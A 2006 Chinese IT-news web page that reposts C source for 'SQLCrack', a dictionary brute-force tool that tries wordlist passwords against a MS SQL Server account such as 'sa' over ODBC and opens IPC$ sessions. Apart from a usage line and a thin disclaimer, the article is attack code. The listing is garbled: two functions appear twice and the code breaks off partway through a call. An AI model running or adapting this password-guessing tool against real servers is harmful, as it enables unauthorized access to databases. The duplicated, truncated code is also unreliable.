|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
您现在的位置： ChinaBeta.cn 中文IT资讯 >> 网络安全 >> 编译|破解 >> HACK技术正文
骇客是如何破解MS SQL SERCVER密码的
Www.ChinaBeta.Cn 更新时间：2006-9-28 阅读次数：

【ChinaBeta.Cn 网络安全】

此程序只作技术交流之用，如用于不法用途，作者不负任何责任!!

这篇文章的重点是如何探测MS SQL SERVER账号的密码，下面以一个实例来说明探测密码的全过程。 

//程序所用到的头文件 

//定义全局变量 

char dict[20000][40]，//准备探测的密码 

UserName[40]，//用户名 

target[40]，//目标服务器 

passwd[40];//已经探测出来的正确密码 

int total=0;//字典里面单词数量 

BOOL Cracked=FALSE;//探测密码成功时此值为TRUE 

// 

//函数:usage 

//功能:显示程序帮助信息 

// 

void usage() 

{ 


　　printf("\nPower by analyzer〈inmiao@163.com〉" 


　　"\nhttp://www.infocn.com" 


　　"\nUsage:SQLCrack 〈ip〉 〈UserName〉 〈dict〉 〈SleepTime[20-1000]〉" 


　　"\nExample:SQLCrack 192.168.0.1 sa c:\pwd.dic 50\n"); 


　　return; 


　　} 


　　// 


　　//函数:ReadDic 


　　//功能:从字典文件里面读取数据，传递给全局变量dict，准备探测密码 


　　//说明:函数运行失败返回值1，成功返回0 


　　// 


　　int ReadDic(char *dic) 


　　{ 


　　FILE *fp; 


　　char tmp[40]; 


　　//打开字典文件 


　　if((fp=fopen(dic，"r"))==NULL) 


　　{ 


　　printf("\nCan't open %s"，dic); 


　　return 1; 


　　} 


　　while(!feof(fp)) 


　　{ 


　　//读取数据到临时变量 


　　if(fgets(tmp，40，fp)==NULL) 


　　break; 


　　//这里别忘了把从文件里面读出来的最后一位数据[换行符号]去掉，不然就探测不出来密码了 


　　strncpy(dict[total]，tmp，strlen(tmp)-1); 


　　total++; 


　　//因为dict定义为dict[20000][40]，所以这里如果字典里面的单词超出20000就退出循环 


　　//不然就会溢出啦.可以自行调准 


　　if(total〉=20000) 


　　break; 


　　} 


　　fclose(fp); 


　　return 0; 


　　} 


　　// 


　　//函数:ConnIPC 


　　//功能:建立IPC连接 


　　//说明:连接失败返回值1，成功返回值0 


　　// 


　　int ConnIPC(char *RemoteName) 


　　{ 


　　NETRESOURCE nr; 


　　DWORD flags=CONNECT_UPDATE_PROFILE; 


　　TCHAR RN[30]=""， 


　　LN[5]=""; 


　　strcat(RN，RemoteName); 


　　strcat(RN，"\ipc$"); 


　　//填充数据结构 


　　nr.dwType=RESOURCETYPE_DISK; 


　　nr.lpLocalName=(LPTSTR)&LN; 


　　nr.lpRemoteName=(LPTSTR)&RN; 


　　nr.lpProvider=NULL; 


　　if(WNetAddConnection2(&nr，(LPSTR)""，(LPSTR)""，flags)==NO_ERROR) 


　　{ 


　　return 0; 


　　} 


　　else 


　　{ 


　　return 1; 


　　} 


　　} 


　　// 


　　//函数:DelIPC 


　　//功能:断开IPC Session 


　　//说明:成功返回值0，否则返回1 


　　// 


　　int DelIPC(char *RemoteName) 


　　{ 


　　DWORD ret; 


　　TCHAR lpName[30]=""; 


　　strcat(lpName，RemoteName); 


　　strcat(lpName，"\ipc$"); 


　　ret=WNetCancelConnection2(lpName，CONNECT_UPDATE_PROFILE，TRUE); 


　　if(ret==NO_ERROR) 


　　{ 


　　return 0; 


　　} 


　　else 


　　{ 


　　return 1; 


　　} 


　　} 


　　// 


　　//函数SQLCheck 


　　//功能:尝试用不同密码连接SQL Server，探测出正确的密码 


　　// 


　　DWORD WINAPI SQLCheck(PVOID pPwd) 


　　{ 


　　//定义局部变量 


　　char szBuffer[1025]; 


　　char *pwd; 


　　SWORD swStrLen; 


　　SQLHDBC hdbc; 


　　SQLHANDLE henv; 


　　SQLRETURN retcode;//ODBC API运行返回值 


　　SCHAR ConnStr[200];//连接数据库字符串 


　　//取得传递过来准备探测的密码 


　　pwd=(char *)pPwd; 


　　//构造连接数据库字符 


　　strcpy(ConnStr，"DRIVER={SQL Server};SERVER="); 


　　strcat(ConnStr，target); 


　　strcat(ConnStr，";UID="); 


　　strcat(ConnStr，UserName); 


　　strcat(ConnStr，";PWD="); 


　　strcat(ConnStr，pwd); 


　　strcat(ConnStr，";DATABASE=master"); 


　　//puts(ConnStr); 


　　//创建数据库应用的环境句柄 


　　if (SQLAllocHandle(SQL_HANDLE_ENV，SQL_NULL_HANDLE，&henv) !=SQL_SUCCESS) 


　　{ 


　　printf("\nAllocate environment handle failed.\n"); 


　　return 0; 


　　} 


　　//printf("henv.."); 


　　//设置ODBC版本环境 


　　if (SQLSetEnvAttr(henv， SQL_ATTR_ODBC_VERSION，(SQLPOINTER) 


　　SQL_OV_ODBC3， SQL_IS_INTEGER) != SQL_SUCCESS) 


　　{ 


　　printf("\nSet the ODBC version environment attribute failed.\n"); 


　　SQLFreeHandle(SQL_HANDLE_ENV， henv); 


　　return 0; 


　　} 


　　//printf("ODBC ver.."); 


　　//创建连接句柄 


　　if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC，henv，(SQLHDBC FAR 


　　*)&hdbc)) != SQL_SUCCESS) 


　　{ 


　　printf("\nAllocate connection handle failed.\n"); 


　　SQLFreeHandle(SQL_HANDLE_ENV， henv); 


　　return 0; 


　　} 


　　//printf("hdbc.."); 


　　//连接数据源 


　　retcode= SQLDriverConnect(hdbc，NULL，ConnStr，strlen(ConnStr)， 


　　szBuffer，sizeof(szBuffer)，&swStrLen， 


　　SQL_DRIVER_COMPLETE_REQUIRED); 


　　//printf("conn.."); 


　　if(retcode!=SQL_SUCCESS && retcode != SQL_SUCCESS_WITH_INFO) 


　　{ 


　　//连接失败，函数终止 


　　//printf("\nCouldn't connect to %s MSSQL server.\n"，target); 


　　SQLFreeHandle(SQL_HANDLE_DBC， hdbc); 


　　SQLFreeHandle(SQL_HANDLE_ENV， henv); 


　　return 0; 


　　} 


　　//连接远程MSSQL Server数据库成功 


　　Cracked=TRUE; 


　　strcpy(passwd，pwd); 


　　//puts(szBuffer); 


　　//显示连接远程数据库的字符串 


　　//断开连接 


　　SQLDisconnect(hdbc); 


　　//printf("disconn.."); 


　　//释放连接句柄 


　　SQLFreeHandle(SQL_HANDLE_DBC， hdbc); 


　　//printf("free hdbc.."); 


　　//释放环境句柄 


　　SQLFreeHandle(SQL_HANDLE_ENV， henv); 


　　//printf("free henv..\n"); 


　　return 0; 


　　} 


　　// 


　　//函数:DelIPC 


　　//功能:断开IPC Session 


　　//说明:成功返回值0，否则返回1 


　　// 


　　int DelIPC(char *RemoteName) 


　　{ 


　　DWORD ret; 


　　TCHAR lpName[30]=""; 


　　strcat(lpName，RemoteName); 


　　strcat(lpName，"\ipc$"); 


　　ret=WNetCancelConnection2(lpName，CONNECT_UPDATE_PROFILE，TRUE); 


　　if(ret==NO_ERROR) 


　　{ 


　　return 0; 


　　} 


　　else 


　　{ 


　　return 1; 


　　} 


　　} 


　　// 


　　//函数SQLCheck 


　　//功能:尝试用不同密码连接SQL Server，探测出正确的密码 


　　// 


　　DWORD WINAPI SQLCheck(PVOID pPwd) 


　　{ 


　　//定义局部变量 


　　char szBuffer[1025]; 


　　char *pwd; 


　　SWORD swStrLen; 


　　SQLHDBC hdbc; 


　　SQLHANDLE henv; 


　　SQLRETURN retcode;//ODBC API运行返回值 


　　SCHAR ConnStr[200];//连接数据库字符串 


　　//取得传递过来准备探测的密码 


　　pwd=(char *)pPwd; 


　　//构造连接数据库字符 


　　strcpy(ConnStr，"DRIVER={SQL Server};SERVER="); 


　　strcat(ConnStr，target); 


　　strcat(ConnStr，";UID="); 


　　strcat(ConnStr，UserName); 


　　strcat(ConnStr，";PWD="); 


　　strcat(ConnStr，pwd); 


　　strcat(ConnStr，";DATABASE=master"); 


　　//puts(ConnStr); 


　　//创建数据库应用的环境句柄 


　　if (SQLAllocHandle(SQL_HANDLE_ENV，SQL_NULL_HANDLE，&henv) !=SQL_SUCCESS) 


　　{ 


　　printf("\nAllocate environment handle failed.\n"); 


　　return 0; 


　　} 


　　//printf("henv.."); 


　　//设置ODBC版本环境 


　　if (SQLSetEnvAttr(henv， SQL_ATTR_ODBC_VERSION，(SQLPOINTER) 


　　SQL_OV_ODBC3， SQL_IS_INTEGER) != SQL_SUCCESS) 


　　{ 


　　printf("\nSet the ODBC version environment attribute failed.\n"); 


　　SQLFreeHandle(SQL_HANDLE_ENV， henv); 


　　return 0; 


　　} 


　　//printf("ODBC ver.."); 


　　//创建连接句柄 


　　if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC，henv，(SQLHDBC FAR 


　　*)&hdbc)) != SQL_SUCCESS) 


　　{ 


　　printf("\nAllocate connection handle failed.\n"); 


　　SQLFreeHandle(SQL_HANDLE_ENV， henv); 


　　return 0; 


　　} 


　　//printf("hdbc.."); 


　　//连接数据源 


　　retcode= SQLDriverConnect(hdbc，NULL，ConnStr，strlen(ConnStr)， 


　　szBuffer，sizeof(szBuffer)，&
Google

（责任编辑：hahack）

注：本站所有资料均为个人爱好与广大网友分享！如用于非法！造成一切后果自负·与本站无关！
【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】
热门文章 相关报道
普通HACK技术 [HACK技术]“网页病毒下载器”病毒分析报告 (12-28)最新HACK技术
普通HACK技术 [HACK技术]“VB破坏者变种N”病毒分析报告 (12-28)最新HACK技术
普通HACK技术 [HACK技术]“自动运行蠕虫变种JPH”病毒分析… (12-28)最新HACK技术
普通HACK技术 [HACK技术]“传奇终结者变种YZM”病毒分析报… (12-28)最新HACK技术
普通HACK技术 [警戒公告]Adobe Flash Player 有跨域策略文… (12-28)最新HACK技术
普通HACK技术 [警戒公告]Xen copy_to_user() 函数有本地绕… (12-28)最新HACK技术
普通HACK技术 [警戒公告]Yahoo! Toolbar YShortcut.dll A… (12-28)最新HACK技术
普通HACK技术 [HACK攻防]黑客狙击Oracle系统的八大常用套… (12-21)
普通HACK技术 [菜鸟入门]3个步骤结束网站恶梦-SQL注入隐患 (12-21)
普通HACK技术 [菜鸟入门]提高安全意识 认识“瞬时攻击“的… (12-21)
 没有相关HACK技术
　　网友评论内容：（只显示最新10条。评论内容只代表网友观点，与本站立场无关！）
I D： *
邮 箱：
主 页：
评 分： 1分 2分 3分 4分 5分
评 论：

关于我们  中国·国家信息产业部{粤ICP备06006652号}{陇ICP备06002562号}
版权所有：『AK网盟基地』站长：Hahack | QQ：80505955 | E-mail:Hahack@Gmail.com
Copyright (C) 2005-2007  akhack.org|chinabeta.cn All Rights Reserved